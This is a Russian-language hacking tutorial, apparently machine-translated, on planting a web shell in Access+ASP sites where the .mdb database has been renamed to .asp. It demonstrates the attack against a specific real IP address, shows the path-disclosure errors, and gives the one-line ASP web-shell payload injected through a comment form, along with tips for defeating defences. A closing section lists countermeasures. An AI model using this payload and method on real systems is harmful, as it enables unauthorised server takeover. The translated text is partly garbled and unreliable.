Может быть с развитием технологий сетевой безопасности качество администраторов улучшается. При использовании системы access+asp, чтобы не допустить загрузку базы данных, mdb меняется на asp или asa. Не будем говорить о непосредственном изменении суффикса. Вы можете напрямую загрузить его с помощью таких инструментов, как Internet Express. Фактически вы уже открыли дверь для злоумышленников. Злоумышленники могут использовать базу данных с суффиксом asp/asa для прямого получения веб-шелла.
один. Идеи
Всем известно, что <%%> — это идентификатор файла asp, а это означает, что файл asp будет выполнять код только между <%%>. Все данные веб-системы access+asp хранятся в файле базы данных (файл mdb). ), поскольку администратор изменил файл mdb на файл asp, если отправляемые нами данные содержат <%%>, то при доступе к базе данных asp код между <%%> будет выполнен. Это заставляет нас отправлять в базу данных только вредоносный код, поэтому база данных с суффиксом asp — это наша веб-шелл.
два. Пример
Просто найдите цель. Сначала давайте проверим базу данных на наличие суффикса asp: http://220.170.151.103/test/dlog%5cshowlog.asp?cat_id=5&log_id=210.
возвращаться:
Скопируйте код кода следующим образом:
Ошибка компилятора Microsoft VBScript «800a03f6»
«Конец» отсутствует
/iisHelp/common/500-100.asp, строка 242
Ошибка ядра базы данных Microsoft JET «80004005»
«D:/log_mdb/%29dlog_mdb%29.asp» не является допустимым путем. Определите, правильно ли написано имя пути и подключены ли вы к серверу, на котором хранится файл.
/test/conn.asp, строка 18
Отправляем: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp возвращает кучу искаженных символов, так что мы можем напрямую загрузить базу данных с помощью таких инструментов, как Internet Express (мы не будем это обсуждать). здесь). Мы возвращаемся на домашнюю страницу и видим, что есть функция комментариев пользователей сети. Давайте зарегистрируемся как пользователь и оставим комментарий:
<%выполнить запрос(б)%>
Таким образом, мы записываем код asp: <%execute request(b)%> в базу данных, затем база данных: — это наша веб-оболочка. Отправьте: http://220.170.151.103/test/dlog/log_mdb/%2529dlog_mdb%2529.asp В конце искаженного кода мы видим:
Скопируйте код кода следующим образом:
/iisHelp/common/500-100.asp, строка 242
Ошибка выполнения Microsoft VBScript «800a000d»
Несоответствие типа: «выполнить»
/test/dlog/log_mdb/%29dlog_mdb%29.asp, строка 1266
Примечание. Когда мы отправляем код в базу данных, содержимое кода не может быть слишком большим. Поэтому мы используем <%execute request(b)%>.
три. Еще несколько вопросов и идей
1. Для базы данных, которая изменила суффикс на asp и добавила в базу данных недопустимые коды asp, такие как <%='a'-1%>, чтобы полностью предотвратить загрузку, поскольку в ней есть недопустимые коды asp, после вставки нашего кода веб-шелла. он будет отображать только ошибку предыдущего недопустимого кода без выполнения кода нашей оболочки. Хотя это может предотвратить определенные атаки, все же существуют определенные скрытые опасности. Пока мы добавляем код, совместимый с ошибками, перед кодом ошибки, мы можем правильно отображать и выполнять вставленный нами код веб-шелла.
2. Для тех файлов, у которых не изменился суффикс, то есть файлов mdb, мы можем загрузить их напрямую, чтобы получить фоновый пароль. После ввода фона мы можем использовать резервную копию базы данных, чтобы изменить суффикс на asp.
Краткое описание методов защиты от загрузки MDB
1: В iis6, если расширение не определено, при доступе появится ошибка 404: файл не найден.
Таким образом, вы можете произвольно присвоить базе данных имя файла, которое никогда не будет безопасным, например: xxxxx.xxxxxxxxxxxx.
2 Если база данных размещена за пределами сайта, она никогда не будет доступна. Например: e:/web/ — ваш сайт.
Затем поместите базу данных в e:/
3. Как уже говорилось выше, меняем .mdb на .asp и одновременно заливаем в специальную таблицу, содержащую <% двоичных символов. Таким образом, при обращении к файлу будет появляться подсказка об отсутствующем закрывающем символе скрипта.
4. Или измените .mdb на .asp и одновременно откройте его с помощью winhex. Вы можете обнаружить, что после 176 есть длинная часть строки 00. Вы также можете предотвратить загрузку, по желанию изменив ее на фрагмент кода asp. , что не повлияет на функцию базы данных. Например:
<%
response.write(незаконный доступ)
ответ.конец()
%>
Теперь добавление # и пробелов в имя базы данных будет взломано. Например, # = <%35 и пробелы = <%20.
Так что использовать их сейчас уже бесполезно. .
Если это ваш собственный сервер, настройте его в IIS:
Создайте новый пустой файл DLL, а затем добавьте сопоставление в IIS. Выберите только что созданную DLL в качестве исполняемого файла, укажите расширение .mdb, сохраните и перезапустите службу IIS.